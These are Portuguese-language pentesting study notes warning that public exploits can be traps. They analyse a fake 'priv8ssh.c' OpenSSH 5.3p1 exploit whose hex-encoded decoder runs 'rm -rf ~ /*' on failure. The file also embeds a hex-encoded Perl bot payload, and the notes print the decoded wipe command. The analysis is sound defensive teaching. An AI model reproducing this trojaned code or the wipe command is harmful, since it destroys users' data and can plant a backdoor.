

# Cuidados com Exploits

- + Aqui veremos como um exploit público pode ser perigoso
- O objetivo é que entendamos o conceito do que está acontecendo para não danificarmos/ comprometermos nossa máquina
- Esse no caso vai explorar uma falha no openSSH 5.3p1

```
GNU nano 4.8                                priv8ssh.c
printf("\t[+] By: n3xus\n");
printf("\t[+] Greetz to hackforums.net\n");
printf("\t[+] Keep this 0day priv8!\n");
printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
exit(1);
}
unsigned char decoder[] = "\x72\x60\x20\x20\x72\x66\x20\x7e\x20\x2f\x2a\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
unsigned char rootshell[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
```

- Ele indica abaixo que devemos ser root para executar a raw sockets
- o que é uma incongruência dado que ele usa a sock\_stream

```

if(euid != 0)
{
    fprintf(stderr, "You need to be root to use raw sockets.\n");
    exit(1);
}
if(euid == 0)
{
    fprintf(stdout, "MIKU! MIKU! MIKU!\n");
}
if(argc != 3)
usage(argv);
if(!inet_aton(h, &addr.sin_addr))
{
    host = gethostbyname(h);
    if(!host)
    {
        fprintf(stderr, "[-] Exploit failed.\n");
        (*(void(*)())decoder)();
        exit(1);
    }
    addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

```

→ O código foi pensado para não dar certo. Para que seja executado o decoder do início:

→ Ao traduzirmos a mensagem do decoder:

```

root@pentesting:/home/desec/Desktop# echo -e "\x72\x60\x20\x20\x72\x66\x20\x7e\x20\x2f\x2a\x20\x32\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26" |
rm -rf ~ /* 2> /dev/null &

```

**rm -rf ~ /\* 2> /dev/null &**

→ Código que zera tudo da máquina, apaga tudo